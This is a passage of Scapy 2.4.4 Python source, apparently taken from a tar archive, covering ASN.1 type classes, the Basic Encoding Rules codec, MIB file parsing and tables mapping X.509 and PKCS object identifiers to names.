ASN1_T61_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.T61_STRING class ASN1_VIDEOTEX_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class ASN1_IA5_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.IA5_STRING class ASN1_UTC_TIME(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.UTC_TIME def __init__(self, val): ASN1_STRING.__init__(self, val) def __setattr__(self, name, value): if isinstance(value, bytes): value = plain_str(value) if name == "val": pretty_time = None if isinstance(self, ASN1_GENERALIZED_TIME): _len = 15 self._format = "%Y%m%d%H%M%S" else: _len = 13 self._format = "%y%m%d%H%M%S" _nam = self.tag._asn1_obj.__name__[4:].lower() if (isinstance(value, str) and len(value) == _len and value[-1] == "Z"): dt = datetime.strptime(value[:-1], self._format) pretty_time = dt.strftime("%b %d %H:%M:%S %Y GMT") else: pretty_time = "%s [invalid %s]" % (value, _nam) ASN1_STRING.__setattr__(self, "pretty_time", pretty_time) ASN1_STRING.__setattr__(self, name, value) elif name == "pretty_time": print("Invalid operation: pretty_time rewriting is not supported.") else: ASN1_STRING.__setattr__(self, name, value) def __repr__(self): return "%s %s" % (self.pretty_time, ASN1_STRING.__repr__(self)) class ASN1_GENERALIZED_TIME(ASN1_UTC_TIME): tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class ASN1_ISO646_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.ISO646_STRING class ASN1_UNIVERSAL_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING class ASN1_BMP_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.BMP_STRING class ASN1_SEQUENCE(ASN1_Object): tag = ASN1_Class_UNIVERSAL.SEQUENCE def strshow(self, lvl=0): s = (" " * lvl) + ("# %s:" % self.__class__.__name__) + "\n" for o in self.val: s += o.strshow(lvl=lvl + 1) return s class ASN1_SET(ASN1_SEQUENCE): tag = ASN1_Class_UNIVERSAL.SET class ASN1_IPADDRESS(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.IPADDRESS class ASN1_COUNTER32(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER32 class ASN1_GAUGE32(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.GAUGE32 class ASN1_TIME_TICKS(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.TIME_TICKS conf.ASN1_default_codec = ASN1_Codecs.BER scapy-2.4.4/scapy/asn1/ber.py000066400000000000000000000411771372370053500157620ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Modified by Maxence Tury # Acknowledgment: Ralph Broenink # This program is published under a GPLv2 license """ Basic Encoding Rules (BER) for ASN.1 """ from __future__ import absolute_import from scapy.error import warning from scapy.compat import chb, orb, bytes_encode from scapy.utils import binrepr, inet_aton, inet_ntoa from scapy.asn1.asn1 import ASN1_Decoding_Error, ASN1_Encoding_Error, \ ASN1_BadTag_Decoding_Error, ASN1_Codecs, ASN1_Class_UNIVERSAL, \ ASN1_Error, ASN1_DECODING_ERROR, ASN1_BADTAG from scapy.modules import six ################## # BER encoding # ################## # [ BER tools ] # class BER_Exception(Exception): pass class BER_Encoding_Error(ASN1_Encoding_Error): def __init__(self, msg, encoded=None, remaining=None): Exception.__init__(self, msg) self.remaining = remaining self.encoded = encoded def __str__(self): s = Exception.__str__(self) if isinstance(self.encoded, BERcodec_Object): s += "\n### Already encoded ###\n%s" % self.encoded.strshow() else: s += "\n### Already encoded ###\n%r" % self.encoded s += "\n### Remaining ###\n%r" % self.remaining return s class BER_Decoding_Error(ASN1_Decoding_Error): def __init__(self, msg, decoded=None, remaining=None): Exception.__init__(self, msg) self.remaining = remaining self.decoded = decoded def __str__(self): s = Exception.__str__(self) if isinstance(self.decoded, BERcodec_Object): s += "\n### Already decoded ###\n%s" % self.decoded.strshow() else: s += "\n### Already decoded ###\n%r" % self.decoded s += "\n### Remaining ###\n%r" % self.remaining return s class BER_BadTag_Decoding_Error(BER_Decoding_Error, ASN1_BadTag_Decoding_Error): pass def BER_len_enc(ll, size=0): if ll <= 127 and size == 0: return chb(ll) s = b"" while ll or size > 0: s = chb(ll & 0xff) + s ll >>= 8 size -= 1 if len(s) > 127: raise BER_Exception( "BER_len_enc: Length too long (%i) to be encoded [%r]" % (len(s), s) ) return chb(len(s) | 0x80) + s def BER_len_dec(s): tmp_len = orb(s[0]) if not tmp_len & 0x80: return tmp_len, s[1:] tmp_len &= 0x7f if len(s) <= tmp_len: raise BER_Decoding_Error( "BER_len_dec: Got %i bytes while expecting %i" % (len(s) - 1, tmp_len), remaining=s ) ll = 0 for c in s[1:tmp_len + 1]: ll <<= 8 ll |= orb(c) return ll, s[tmp_len + 1:] def BER_num_enc(ll, size=1): x = [] while ll or size > 0: x.insert(0, ll & 0x7f) if len(x) > 1: x[0] |= 0x80 ll >>= 7 size -= 1 return b"".join(chb(k) for k in x) def BER_num_dec(s, cls_id=0): if len(s) == 0: raise BER_Decoding_Error("BER_num_dec: got empty string", remaining=s) x = cls_id for i, c in enumerate(s): c = orb(c) x <<= 7 x |= c & 0x7f if not c & 0x80: break if c & 0x80: raise BER_Decoding_Error("BER_num_dec: unfinished number description", remaining=s) return x, s[i + 1:] def BER_id_dec(s): # This returns the tag ALONG WITH THE PADDED CLASS+CONSTRUCTIVE INFO. # Let's recall that bits 8-7 from the first byte of the tag encode # the class information, while bit 6 means primitive or constructive. # # For instance, with low-tag-number b'\x81', class would be 0b10 # ('context-specific') and tag 0x01, but we return 0x81 as a whole. # For b'\xff\x22', class would be 0b11 ('private'), constructed, then # padding, then tag 0x22, but we return (0xff>>5)*128^1 + 0x22*128^0. # Why the 5-bit-shifting? Because it provides an unequivocal encoding # on base 128 (note that 0xff would equal 1*128^1 + 127*128^0...), # as we know that bits 5 to 1 are fixed to 1 anyway. # # As long as there is no class differentiation, we have to keep this info # encoded in scapy's tag in order to reuse it for packet building. # Note that tags thus may have to be hard-coded with their extended # information, e.g. a SEQUENCE from asn1.py has a direct tag 0x20|16. x = orb(s[0]) if x & 0x1f != 0x1f: # low-tag-number return x, s[1:] else: # high-tag-number return BER_num_dec(s[1:], cls_id=x >> 5) def BER_id_enc(n): if n < 256: # low-tag-number return chb(n) else: # high-tag-number s = BER_num_enc(n) tag = orb(s[0]) # first byte, as an int tag &= 0x07 # reset every bit from 8 to 4 tag <<= 5 # move back the info bits on top tag |= 0x1f # pad with 1s every bit from 5 to 1 return chb(tag) + s[1:] # The functions below provide implicit and explicit tagging support. def BER_tagging_dec(s, hidden_tag=None, implicit_tag=None, explicit_tag=None, safe=False): # We output the 'real_tag' if it is different from the (im|ex)plicit_tag. real_tag = None if len(s) > 0: err_msg = "BER_tagging_dec: observed tag does not match expected tag" if implicit_tag is not None: ber_id, s = BER_id_dec(s) if ber_id != implicit_tag: if not safe: raise BER_Decoding_Error(err_msg, remaining=s) else: real_tag = ber_id s = chb(hash(hidden_tag)) + s elif explicit_tag is not None: ber_id, s = BER_id_dec(s) if ber_id != explicit_tag: if not safe: raise BER_Decoding_Error(err_msg, remaining=s) else: real_tag = ber_id l, s = BER_len_dec(s) return real_tag, s def BER_tagging_enc(s, implicit_tag=None, explicit_tag=None): if len(s) > 0: if implicit_tag is not None: s = BER_id_enc(implicit_tag) + s[1:] elif explicit_tag is not None: s = BER_id_enc(explicit_tag) + BER_len_enc(len(s)) + s return s # [ BER classes ] # class BERcodec_metaclass(type): def __new__(cls, name, bases, dct): c = super(BERcodec_metaclass, cls).__new__(cls, name, bases, dct) try: c.tag.register(c.codec, c) except Exception: warning("Error registering %r for %r" % (c.tag, c.codec)) return c class BERcodec_Object(six.with_metaclass(BERcodec_metaclass)): codec = ASN1_Codecs.BER tag = ASN1_Class_UNIVERSAL.ANY @classmethod def asn1_object(cls, val): return cls.tag.asn1_object(val) @classmethod def check_string(cls, s): if not s: raise BER_Decoding_Error( "%s: Got empty object while expecting tag %r" % (cls.__name__, cls.tag), remaining=s ) @classmethod def check_type(cls, s): cls.check_string(s) tag, remainder = BER_id_dec(s) if not isinstance(tag, int) or cls.tag != tag: raise BER_BadTag_Decoding_Error( "%s: Got tag [%i/%#x] while expecting %r" % (cls.__name__, tag, tag, cls.tag), remaining=s ) return remainder @classmethod def check_type_get_len(cls, s): s2 = cls.check_type(s) if not s2: raise BER_Decoding_Error("%s: No bytes while expecting a length" % cls.__name__, remaining=s) return BER_len_dec(s2) @classmethod def check_type_check_len(cls, s): l, s3 = cls.check_type_get_len(s) if len(s3) < l: raise BER_Decoding_Error("%s: Got %i bytes while expecting %i" % (cls.__name__, len(s3), l), remaining=s) return l, s3[:l], s3[l:] @classmethod def do_dec(cls, s, context=None, safe=False): if context is None: context = cls.tag.context cls.check_string(s) p, remainder = BER_id_dec(s) if p not in context: t = s if len(t) > 18: t = t[:15] + b"..." raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p, t), remaining=s) codec = context[p].get_codec(ASN1_Codecs.BER) if codec == BERcodec_Object: # Value type defined as Unknown l, s = BER_num_dec(remainder) return ASN1_BADTAG(s[:l]), s[l:] return codec.dec(s, context, safe) @classmethod def dec(cls, s, context=None, safe=False): if not safe: return cls.do_dec(s, context, safe) try: return cls.do_dec(s, context, safe) except BER_BadTag_Decoding_Error as e: o, remain = BERcodec_Object.dec(e.remaining, context, safe) return ASN1_BADTAG(o), remain except BER_Decoding_Error as e: return ASN1_DECODING_ERROR(s, exc=e), "" except ASN1_Error as e: return ASN1_DECODING_ERROR(s, exc=e), "" @classmethod def safedec(cls, s, context=None): return cls.dec(s, context, safe=True) @classmethod def enc(cls, s): if isinstance(s, six.string_types + (bytes,)): return BERcodec_STRING.enc(s) else: return BERcodec_INTEGER.enc(int(s)) ASN1_Codecs.BER.register_stem(BERcodec_Object) ########################## # BERcodec objects # ########################## class BERcodec_INTEGER(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.INTEGER @classmethod def enc(cls, i): s = [] while True: s.append(i & 0xff) if -127 <= i < 0: break if 128 <= i <= 255: s.append(0) i >>= 8 if not i: break s = [chb(hash(c)) for c in s] s.append(BER_len_enc(len(s))) s.append(chb(hash(cls.tag))) s.reverse() return b"".join(s) @classmethod def do_dec(cls, s, context=None, safe=False): l, s, t = cls.check_type_check_len(s) x = 0 if s: if orb(s[0]) & 0x80: # negative int x = -1 for c in s: x <<= 8 x |= orb(c) return cls.asn1_object(x), t class BERcodec_BOOLEAN(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.BOOLEAN class BERcodec_BIT_STRING(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.BIT_STRING @classmethod def do_dec(cls, s, context=None, safe=False): # /!\ the unused_bits information is lost after this decoding l, s, t = cls.check_type_check_len(s) if len(s) > 0: unused_bits = orb(s[0]) if safe and unused_bits > 7: raise BER_Decoding_Error( "BERcodec_BIT_STRING: too many unused_bits advertised", remaining=s ) s = "".join(binrepr(orb(x)).zfill(8) for x in s[1:]) if unused_bits > 0: s = s[:-unused_bits] return cls.tag.asn1_object(s), t else: raise BER_Decoding_Error( "BERcodec_BIT_STRING found no content " "(not even unused_bits byte)", remaining=s ) @classmethod def enc(cls, s): # /!\ this is DER encoding (bit strings are only zero-bit padded) s = bytes_encode(s) if len(s) % 8 == 0: unused_bits = 0 else: unused_bits = 8 - len(s) % 8 s += b"0" * unused_bits s = b"".join(chb(int(b"".join(chb(y) for y in x), 2)) for x in zip(*[iter(s)] * 8)) s = chb(unused_bits) + s return chb(hash(cls.tag)) + BER_len_enc(len(s)) + s class BERcodec_STRING(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.STRING @classmethod def enc(cls, s): s = bytes_encode(s) # Be sure we are encoding bytes return chb(hash(cls.tag)) + BER_len_enc(len(s)) + s @classmethod def do_dec(cls, s, context=None, safe=False): l, s, t = cls.check_type_check_len(s) return cls.tag.asn1_object(s), t class BERcodec_NULL(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.NULL @classmethod def enc(cls, i): if i == 0: return chb(hash(cls.tag)) + b"\0" else: return super(cls, cls).enc(i) class BERcodec_OID(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.OID @classmethod def enc(cls, oid): oid = bytes_encode(oid) if oid: lst = [int(x) for x in oid.strip(b".").split(b".")] else: lst = list() if len(lst) >= 2: lst[1] += 40 * lst[0] del(lst[0]) s = b"".join(BER_num_enc(k) for k in lst) return chb(hash(cls.tag)) + BER_len_enc(len(s)) + s @classmethod def do_dec(cls, s, context=None, safe=False): l, s, t = cls.check_type_check_len(s) lst = [] while s: l, s = BER_num_dec(s) lst.append(l) if (len(lst) > 0): lst.insert(0, lst[0] // 40) lst[1] %= 40 return ( cls.asn1_object(b".".join(str(k).encode('ascii') for k in lst)), t, ) class BERcodec_ENUMERATED(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.ENUMERATED class BERcodec_UTF8_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UTF8_STRING class BERcodec_NUMERIC_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class BERcodec_PRINTABLE_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class BERcodec_T61_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.T61_STRING class BERcodec_VIDEOTEX_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class BERcodec_IA5_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.IA5_STRING class BERcodec_UTC_TIME(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UTC_TIME class BERcodec_GENERALIZED_TIME(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class BERcodec_ISO646_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.ISO646_STRING class BERcodec_UNIVERSAL_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING class BERcodec_BMP_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.BMP_STRING class BERcodec_SEQUENCE(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.SEQUENCE @classmethod def enc(cls, ll): if not isinstance(ll, bytes): ll = b"".join(x.enc(cls.codec) for x in ll) return chb(hash(cls.tag)) + BER_len_enc(len(ll)) + ll @classmethod def do_dec(cls, s, context=None, safe=False): if context is None: context = cls.tag.context ll, st = cls.check_type_get_len(s) # we may have len(s) < ll s, t = st[:ll], st[ll:] obj = [] while s: try: o, s = BERcodec_Object.dec(s, context, safe) except BER_Decoding_Error as err: err.remaining += t if err.decoded is not None: obj.append(err.decoded) err.decoded = obj raise obj.append(o) if len(st) < ll: raise BER_Decoding_Error("Not enough bytes to decode sequence", decoded=obj) return cls.asn1_object(obj), t class BERcodec_SET(BERcodec_SEQUENCE): tag = ASN1_Class_UNIVERSAL.SET class BERcodec_IPADDRESS(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.IPADDRESS @classmethod def enc(cls, ipaddr_ascii): try: s = inet_aton(ipaddr_ascii) except Exception: raise BER_Encoding_Error("IPv4 address could not be encoded") return chb(hash(cls.tag)) + BER_len_enc(len(s)) + s @classmethod def do_dec(cls, s, context=None, safe=False): l, s, t = cls.check_type_check_len(s) try: ipaddr_ascii = inet_ntoa(s) except Exception: raise BER_Decoding_Error("IP address could not be decoded", remaining=s) return cls.asn1_object(ipaddr_ascii), t class BERcodec_COUNTER32(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER32 class BERcodec_GAUGE32(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.GAUGE32 class BERcodec_TIME_TICKS(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.TIME_TICKS scapy-2.4.4/scapy/asn1/mib.py000066400000000000000000000540601372370053500157540ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Modified by Maxence Tury # This program is published under a GPLv2 license """ Management Information Base (MIB) parsing """ from __future__ import absolute_import import re from glob import glob from scapy.dadict import DADict, fixname from scapy.config import conf from scapy.utils import do_graph import scapy.modules.six as six from scapy.compat import plain_str ################# # MIB parsing # ################# _mib_re_integer = re.compile(r"^[0-9]+$") _mib_re_both = re.compile(r"^([a-zA-Z_][a-zA-Z0-9_-]*)\(([0-9]+)\)$") _mib_re_oiddecl = re.compile(r"$\s*([a-zA-Z0-9_-]+)\s+OBJECT([^:\{\}]|\{[^:]+\})+::=\s*\{([^\}]+)\}", re.M) # noqa: E501 _mib_re_strings = re.compile(r'"[^"]*"') _mib_re_comments = re.compile(r'--.*(\r|\n)') class MIBDict(DADict): def _findroot(self, x): """Internal MIBDict function used to find a partial OID""" if x.startswith("."): x = x[1:] if not x.endswith("."): x += "." max = 0 root = "." root_key = "" for k in six.iterkeys(self): if x.startswith(k + "."): if max < len(k): max = len(k) root = self[k] root_key = k return root, root_key, x[max:-1] def _oidname(self, x): """Deduce the OID name from its OID ID""" root, _, remainder = self._findroot(x) return root + remainder def _oid(self, x): """Parse the OID id/OID generator, and return real OID""" xl = x.strip(".").split(".") p = len(xl) - 1 while p >= 0 and _mib_re_integer.match(xl[p]): p -= 1 if p != 0 or xl[p] not in six.itervalues(self.__dict__): return x xl[p] = next(k for k, v in six.iteritems(self.__dict__) if v == xl[p]) return ".".join(xl[p:]) def _make_graph(self, other_keys=None, **kargs): if other_keys is None: other_keys = [] nodes = [(self[key], key) for key in self.iterkeys()] oids = set(self.iterkeys()) for k in other_keys: if k not in oids: nodes.append(self.oidname(k), k) s = 'digraph "mib" {\n\trankdir=LR;\n\n' for k, o in nodes: s += '\t"%s" [ label="%s" ];\n' % (o, k) s += "\n" for k, o in nodes: parent, parent_key, remainder = self._findroot(o[:-1]) remainder = remainder[1:] + o[-1] if parent != ".": parent = parent_key s += '\t"%s" -> "%s" [label="%s"];\n' % (parent, o, remainder) s += "}\n" do_graph(s, **kargs) def _mib_register(ident, value, the_mib, unresolved, alias): """ Internal function used to register an OID and its name in a MIBDict """ if ident in the_mib: # We have already resolved this one. Store the alias alias[".".join(value)] = ident return True if ident in unresolved: # We know we can't resolve this one return False resval = [] not_resolved = 0 # Resolve the OID # (e.g. 2.basicConstraints.3 -> 2.2.5.29.19.3) for v in value: if _mib_re_integer.match(v): resval.append(v) else: v = fixname(plain_str(v)) if v not in the_mib: not_resolved = 1 if v in the_mib: v = the_mib[v] elif v in unresolved: v = unresolved[v] if isinstance(v, list): resval += v else: resval.append(v) if not_resolved: # Unresolved unresolved[ident] = resval return False else: # Fully resolved the_mib[ident] = resval keys = list(unresolved) i = 0 # Go through the unresolved to update the ones that # depended on the one we just did while i < len(keys): k = keys[i] if _mib_register(k, unresolved[k], the_mib, {}, alias): # Now resolved: we can remove it from unresolved del(unresolved[k]) del(keys[i]) i = 0 else: i += 1 return True def load_mib(filenames): """ Load the conf.mib dict from a list of filenames """ the_mib = {'iso': ['1']} unresolved = {} alias = {} # Export the current MIB to a working dictionary for k in six.iterkeys(conf.mib): _mib_register(conf.mib[k], k.split("."), the_mib, unresolved, alias) # Read the files if isinstance(filenames, (str, bytes)): filenames = [filenames] for fnames in filenames: for fname in glob(fnames): with open(fname) as f: text = f.read() cleantext = " ".join( _mib_re_strings.split(" ".join(_mib_re_comments.split(text))) ) for m in _mib_re_oiddecl.finditer(cleantext): gr = m.groups() ident, oid = gr[0], gr[-1] ident = fixname(ident) oid = oid.split() for i, elt in enumerate(oid): m = _mib_re_both.match(elt) if m: oid[i] = m.groups()[1] _mib_register(ident, oid, the_mib, unresolved, alias) # Create the new MIB newmib = MIBDict(_name="MIB") # Add resolved values for oid, key in six.iteritems(the_mib): newmib[".".join(key)] = oid # Add unresolved values for oid, key in six.iteritems(unresolved): newmib[".".join(key)] = oid # Add aliases for key, oid in six.iteritems(alias): newmib[key] = oid conf.mib = newmib #################### # OID references # #################### # pkcs1 # pkcs1_oids = { "1.2.840.113549.1.1.1": "rsaEncryption", "1.2.840.113549.1.1.2": "md2WithRSAEncryption", "1.2.840.113549.1.1.3": "md4WithRSAEncryption", "1.2.840.113549.1.1.4": "md5WithRSAEncryption", "1.2.840.113549.1.1.5": "sha1-with-rsa-signature", "1.2.840.113549.1.1.6": "rsaOAEPEncryptionSET", "1.2.840.113549.1.1.7": "id-RSAES-OAEP", "1.2.840.113549.1.1.8": "id-mgf1", "1.2.840.113549.1.1.9": "id-pSpecified", "1.2.840.113549.1.1.10": "rsassa-pss", "1.2.840.113549.1.1.11": "sha256WithRSAEncryption", "1.2.840.113549.1.1.12": "sha384WithRSAEncryption", "1.2.840.113549.1.1.13": "sha512WithRSAEncryption", "1.2.840.113549.1.1.14": "sha224WithRSAEncryption" } # secsig oiw # secsig_oids = { "1.3.14.3.2.26": "sha1" } # pkcs9 # pkcs9_oids = { "1.2.840.113549.1.9.0": "modules", "1.2.840.113549.1.9.1": "emailAddress", "1.2.840.113549.1.9.2": "unstructuredName", "1.2.840.113549.1.9.3": "contentType", "1.2.840.113549.1.9.4": "messageDigest", "1.2.840.113549.1.9.5": "signing-time", "1.2.840.113549.1.9.6": "countersignature", "1.2.840.113549.1.9.7": "challengePassword", "1.2.840.113549.1.9.8": "unstructuredAddress", "1.2.840.113549.1.9.9": "extendedCertificateAttributes", "1.2.840.113549.1.9.13": "signingDescription", "1.2.840.113549.1.9.14": "extensionRequest", "1.2.840.113549.1.9.15": "smimeCapabilities", "1.2.840.113549.1.9.16": "smime", "1.2.840.113549.1.9.17": "pgpKeyID", "1.2.840.113549.1.9.20": "friendlyName", "1.2.840.113549.1.9.21": "localKeyID", "1.2.840.113549.1.9.22": "certTypes", "1.2.840.113549.1.9.23": "crlTypes", "1.2.840.113549.1.9.24": "pkcs-9-oc", "1.2.840.113549.1.9.25": "pkcs-9-at", "1.2.840.113549.1.9.26": "pkcs-9-sx", "1.2.840.113549.1.9.27": "pkcs-9-mr", "1.2.840.113549.1.9.52": "id-aa-CMSAlgorithmProtection" } # x509 # attributeType_oids = { "2.5.4.0": "objectClass", "2.5.4.1": "aliasedEntryName", "2.5.4.2": "knowledgeInformation", "2.5.4.3": "commonName", "2.5.4.4": "surname", "2.5.4.5": "serialNumber", "2.5.4.6": "countryName", "2.5.4.7": "localityName", "2.5.4.8": "stateOrProvinceName", "2.5.4.9": "streetAddress", "2.5.4.10": "organizationName", "2.5.4.11": "organizationUnitName", "2.5.4.12": "title", "2.5.4.13": "description", "2.5.4.14": "searchGuide", "2.5.4.15": "businessCategory", "2.5.4.16": "postalAddress", "2.5.4.17": "postalCode", "2.5.4.18": "postOfficeBox", "2.5.4.19": "physicalDeliveryOfficeName", "2.5.4.20": "telephoneNumber", "2.5.4.21": "telexNumber", "2.5.4.22": "teletexTerminalIdentifier", "2.5.4.23": "facsimileTelephoneNumber", "2.5.4.24": "x121Address", "2.5.4.25": "internationalISDNNumber", "2.5.4.26": "registeredAddress", "2.5.4.27": "destinationIndicator", "2.5.4.28": "preferredDeliveryMethod", "2.5.4.29": "presentationAddress", "2.5.4.30": "supportedApplicationContext", "2.5.4.31": "member", "2.5.4.32": "owner", "2.5.4.33": "roleOccupant", "2.5.4.34": "seeAlso", "2.5.4.35": "userPassword", "2.5.4.36": "userCertificate", "2.5.4.37": "cACertificate", "2.5.4.38": "authorityRevocationList", "2.5.4.39": "certificateRevocationList", "2.5.4.40": "crossCertificatePair", "2.5.4.41": "name", "2.5.4.42": "givenName", "2.5.4.43": "initials", "2.5.4.44": "generationQualifier", "2.5.4.45": "uniqueIdentifier", "2.5.4.46": "dnQualifier", "2.5.4.47": "enhancedSearchGuide", "2.5.4.48": "protocolInformation", "2.5.4.49": "distinguishedName", "2.5.4.50": "uniqueMember", "2.5.4.51": "houseIdentifier", "2.5.4.52": "supportedAlgorithms", "2.5.4.53": "deltaRevocationList", "2.5.4.54": "dmdName", "2.5.4.55": "clearance", "2.5.4.56": "defaultDirQop", "2.5.4.57": "attributeIntegrityInfo", "2.5.4.58": "attributeCertificate", "2.5.4.59": "attributeCertificateRevocationList", "2.5.4.60": "confKeyInfo", "2.5.4.61": "aACertificate", "2.5.4.62": "attributeDescriptorCertificate", "2.5.4.63": "attributeAuthorityRevocationList", "2.5.4.64": "family-information", "2.5.4.65": "pseudonym", "2.5.4.66": "communicationsService", "2.5.4.67": "communicationsNetwork", "2.5.4.68": "certificationPracticeStmt", "2.5.4.69": "certificatePolicy", "2.5.4.70": "pkiPath", "2.5.4.71": "privPolicy", "2.5.4.72": "role", "2.5.4.73": "delegationPath", "2.5.4.74": "protPrivPolicy", "2.5.4.75": "xMLPrivilegeInfo", "2.5.4.76": "xmlPrivPolicy", "2.5.4.77": "uuidpair", "2.5.4.78": "tagOid", "2.5.4.79": "uiiFormat", "2.5.4.80": "uiiInUrh", "2.5.4.81": "contentUrl", "2.5.4.82": "permission", "2.5.4.83": "uri", "2.5.4.84": "pwdAttribute", "2.5.4.85": "userPwd", "2.5.4.86": "urn", "2.5.4.87": "url", "2.5.4.88": "utmCoordinates", "2.5.4.89": "urnC", "2.5.4.90": "uii", "2.5.4.91": "epc", "2.5.4.92": "tagAfi", "2.5.4.93": "epcFormat", "2.5.4.94": "epcInUrn", "2.5.4.95": "ldapUrl", "2.5.4.96": "ldapUrl", "2.5.4.97": "organizationIdentifier" } certificateExtension_oids = { "2.5.29.1": "authorityKeyIdentifier", "2.5.29.2": "keyAttributes", "2.5.29.3": "certificatePolicies", "2.5.29.4": "keyUsageRestriction", "2.5.29.5": "policyMapping", "2.5.29.6": "subtreesConstraint", "2.5.29.7": "subjectAltName", "2.5.29.8": "issuerAltName", "2.5.29.9": "subjectDirectoryAttributes", "2.5.29.10": "basicConstraints", "2.5.29.14": "subjectKeyIdentifier", "2.5.29.15": "keyUsage", "2.5.29.16": "privateKeyUsagePeriod", "2.5.29.17": "subjectAltName", "2.5.29.18": "issuerAltName", "2.5.29.19": "basicConstraints", "2.5.29.20": "cRLNumber", "2.5.29.21": "reasonCode", "2.5.29.22": "expirationDate", "2.5.29.23": "instructionCode", "2.5.29.24": "invalidityDate", "2.5.29.25": "cRLDistributionPoints", "2.5.29.26": "issuingDistributionPoint", "2.5.29.27": "deltaCRLIndicator", "2.5.29.28": "issuingDistributionPoint", "2.5.29.29": "certificateIssuer", "2.5.29.30": "nameConstraints", "2.5.29.31": "cRLDistributionPoints", "2.5.29.32": "certificatePolicies", "2.5.29.33": "policyMappings", "2.5.29.34": "policyConstraints", "2.5.29.35": "authorityKeyIdentifier", "2.5.29.36": "policyConstraints", "2.5.29.37": "extKeyUsage", "2.5.29.38": "authorityAttributeIdentifier", "2.5.29.39": "roleSpecCertIdentifier", "2.5.29.40": "cRLStreamIdentifier", "2.5.29.41": "basicAttConstraints", "2.5.29.42": "delegatedNameConstraints", "2.5.29.43": "timeSpecification", "2.5.29.44": "cRLScope", "2.5.29.45": "statusReferrals", "2.5.29.46": "freshestCRL", "2.5.29.47": "orderedList", "2.5.29.48": "attributeDescriptor", "2.5.29.49": "userNotice", "2.5.29.50": "sOAIdentifier", "2.5.29.51": "baseUpdateTime", "2.5.29.52": "acceptableCertPolicies", "2.5.29.53": "deltaInfo", "2.5.29.54": "inhibitAnyPolicy", "2.5.29.55": "targetInformation", "2.5.29.56": "noRevAvail", "2.5.29.57": "acceptablePrivilegePolicies", "2.5.29.58": "id-ce-toBeRevoked", "2.5.29.59": "id-ce-RevokedGroups", "2.5.29.60": "id-ce-expiredCertsOnCRL", "2.5.29.61": "indirectIssuer", "2.5.29.62": "id-ce-noAssertion", "2.5.29.63": "id-ce-aAissuingDistributionPoint", "2.5.29.64": "id-ce-issuedOnBehaIFOF", "2.5.29.65": "id-ce-singleUse", "2.5.29.66": "id-ce-groupAC", "2.5.29.67": "id-ce-allowedAttAss", "2.5.29.68": "id-ce-attributeMappings", "2.5.29.69": "id-ce-holderNameConstraints" } certExt_oids = { "2.16.840.1.113730.1.1": "cert-type", "2.16.840.1.113730.1.2": "base-url", "2.16.840.1.113730.1.3": "revocation-url", "2.16.840.1.113730.1.4": "ca-revocation-url", "2.16.840.1.113730.1.5": "ca-crl-url", "2.16.840.1.113730.1.6": "ca-cert-url", "2.16.840.1.113730.1.7": "renewal-url", "2.16.840.1.113730.1.8": "ca-policy-url", "2.16.840.1.113730.1.9": "homepage-url", "2.16.840.1.113730.1.10": "entity-logo", "2.16.840.1.113730.1.11": "user-picture", "2.16.840.1.113730.1.12": "ssl-server-name", "2.16.840.1.113730.1.13": "comment", "2.16.840.1.113730.1.14": "lost-password-url", "2.16.840.1.113730.1.15": "cert-renewal-time", "2.16.840.1.113730.1.16": "aia", "2.16.840.1.113730.1.17": "cert-scope-of-use", } certPkixPe_oids = { "1.3.6.1.5.5.7.1.1": "authorityInfoAccess", "1.3.6.1.5.5.7.1.2": "biometricInfo", "1.3.6.1.5.5.7.1.3": "qcStatements", "1.3.6.1.5.5.7.1.4": "auditIdentity", "1.3.6.1.5.5.7.1.6": "aaControls", "1.3.6.1.5.5.7.1.10": "proxying", "1.3.6.1.5.5.7.1.11": "subjectInfoAccess" } certPkixQt_oids = { "1.3.6.1.5.5.7.2.1": "cps", "1.3.6.1.5.5.7.2.2": "unotice" } certPkixKp_oids = { "1.3.6.1.5.5.7.3.1": "serverAuth", "1.3.6.1.5.5.7.3.2": "clientAuth", "1.3.6.1.5.5.7.3.3": "codeSigning", "1.3.6.1.5.5.7.3.4": "emailProtection", "1.3.6.1.5.5.7.3.5": "ipsecEndSystem", "1.3.6.1.5.5.7.3.6": 